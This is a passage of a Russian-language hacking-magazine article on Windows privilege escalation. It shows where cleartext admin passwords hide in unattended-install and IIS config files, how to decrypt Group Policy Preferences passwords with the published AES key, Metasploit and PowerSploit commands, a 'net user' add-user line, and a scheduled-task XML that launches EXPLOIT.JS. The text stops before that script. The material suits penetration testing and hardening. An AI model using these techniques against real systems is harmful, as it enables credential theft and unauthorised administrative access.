Содержание статьи
Flashback
Тема повышения привилегий далеко не нова, но тем не менее всегда актуальна. Несколько лет назад мы уже говорили о ней на страницах журнала. Какой-то революции в этой области с того времени не произошло, но некоторые новые техники и инструменты все же появились. Поэтому будем держать руку на пульсе и все подробно разберем. Где-то немного что-то повторим, но, как говорится, повторение — мать учения.
1. Сохраненные credentials
Пожалуй, самый легкий способ поднять привилегии, к которому стоит прибегнуть в первую очередь, — это поискать в системе сохраненные учетные данные админского аккаунта. Самое простое — это файлы, оставшиеся после автоматической установки (unattended installation). Общеизвестно, что человек — существо ленивое, поэтому системные администраторы будут пытаться автоматизировать установку софта, и тогда в системе можно обнаружить файлы:
C:\\unattend.xmlC:\\Windows\\Panther\\Unattend.xmlC:\\Windows\\Panther\\Unattend\\Unattend.xmlC:\\Windows\\system32\\sysprep.infC:\\Windows\\system32\\sysprep\\sysprep.xml
В них в открытом виде или закодированные в Base64 будут лежать пароли администратора. Кстати, в Metasploit есть модуль, позволяющий автоматизировать поиск, — post/windows/gather/enum_unattend
.
Если на машине установлен IIS, то нелишним будет проверить файлы
C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\web.configC:\\inetpub\\wwwroot\\web.config
в которых также может присутствовать пароль администратора в plaintext.
2. Group Policy Preferences
Еще есть вариант с настройками групповой политики безопасности. Файл Groups.xml
, содержащий пароль, обычно закеширован локально, или он легко может быть получен с контроллера домена, так как каждый пользователь домена имеет к нему доступ на чтение. Пароль хранится в зашифрованном виде, но Microsoft опубликовала ключ, поэтому он может быть легко расшифрован. В случае локальной машины проверяем наличие файла по следующему пути:
C:\\ProgramData\\Microsoft\\Group Policy\\History\\*\\Machine\\Preferences\\Groups\\Groups.xml
Для контроллера домена:
\\\\????\\SYSVOL\\\\Policies\\????\\MACHINE\\Preferences\\Groups\\Groups.xml
В последнем случае вместо ????
указываем имя домена. Для тех, кому интересно, 32-битный AES-ключ выглядит следующим образом:
4e 99 06 e8 fc b6 6c c9 fa f4 93 10 62 0f fe e8f4 96 e8 06 cc 05 79 90 20 9b 09 a4 33 b6 6c 1b
Но чтобы самостоятельно не заморачиваться с расшифровкой пароля, можно воспользоваться модулем Metasploit post/windows/gather/credentials/gpp
. Или же PowerSploit:
Get-CachedGPPPassword // Для локальных файлов групповой политикиGet-GPPPassword // Для файлов групповой политики, сохраненных на котроллере домена
Подробнее о том, как вытаскивать пароли из групповой политики, можно посмотреть тут и тут.
3. Taskschd.msc
Во времена Windows XP был интересный прием поднять привилегии до системных. Проворачивался он просто:
at 14:50 /interactive command
Правда, для запуска утилиты at
требовались административные привилегии, поэтому можно было повыситься только от администратора до NT-AUTHORITY\\SYSTEM
. Но оказывается, что времена планировщика задач еще далеко не прошли. Если выполнить в консоли команду net user
, то можно увидеть список локальных пользователей. С помощью данной команды можно также добавить локального пользователя (если есть соответствующие привилегии):
net user USERNAME PASSWORD /add
Однако если выполнить команду от имени обычного пользователя, то получим в ответ системную ошибку 5, или, проще говоря, «доступ запрещен». В такой ситуации нам поможет возможность импортировать таски в планировщик задач. Каждую задачу можно описать в виде XML-файла (подробнее о его формате можно почитать на сайте мелкомягких). Готовый файл будет выглядеть следующим образом:
<?xml version="1.0" encoding="UTF-16"?><Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task"> <RegistrationInfo> <Date>1337-01-01T13:37:07.9601296</Date> <Author>NT AUTHORITY\\SYSTEM</Author> </RegistrationInfo> <Triggers /> <Principals> <Principal id="Author"> <UserId>PCNAME\\USERNAME</UserId> <LogonType>S4U</LogonType> <RunLevel>HighestAvailable</RunLevel> </Principal> </Principals> <Settings> <MultipleInstancesPolicy>Parallel</MultipleInstancesPolicy> <DisallowStartIfOnBatteries>true</DisallowStartIfOnBatteries> <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries> <AllowHardTerminate>true</AllowHardTerminate> <StartWhenAvailable>true</StartWhenAvailable> <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable> <IdleSettings> <StopOnIdleEnd>true</StopOnIdleEnd> <RestartOnIdle>false</RestartOnIdle> </IdleSettings> <AllowStartOnDemand>true</AllowStartOnDemand> <Enabled>true</Enabled> <Hidden>false</Hidden> <RunOnlyIfIdle>false</RunOnlyIfIdle> <WakeToRun>false</WakeToRun> <ExecutionTimeLimit>P3D</ExecutionTimeLimit> <Priority>7</Priority> <RestartOnFailure> <Interval>PT1M</Interval> <Count>3</Count> </RestartOnFailure> </Settings> <Actions Context="Author"> <Exec> <Command>%USERPROFILE%\\Desktop\\EXPLOIT.JS</Command> </Exec> </Actions></Task>
Подробнее о каждом из параметров можно будет почитать тут. Для нас наибольший интерес представляют <RegistrationInfo><Author>
— тот, от имени кого будет зарегистрировано задание, а также <Principals><Principal><UserId>
— от имени кого оно будет запущено. Здесь мы указываем нашего непривилегированного пользователя. Ну и самое интересное — <Actions><Exec>
, который определяет, что будет запущено. В данном случае это JS-скрипт EXPLOIT.JS
, лежащий на рабочем столе пользователя. Содержание этого скрипта ограничивается только твоей фантазией. Самый банальный пример — добавление нового пользователя:
Скачать:
Скриншоты:
Важно:
Все статьи и материал на сайте размещаются из свободных источников. Приносим свои глубочайшие извинения, если Ваша статья или материал была опубликована без Вашего на то согласия.
Напишите нам, и мы в срочном порядке примем меры.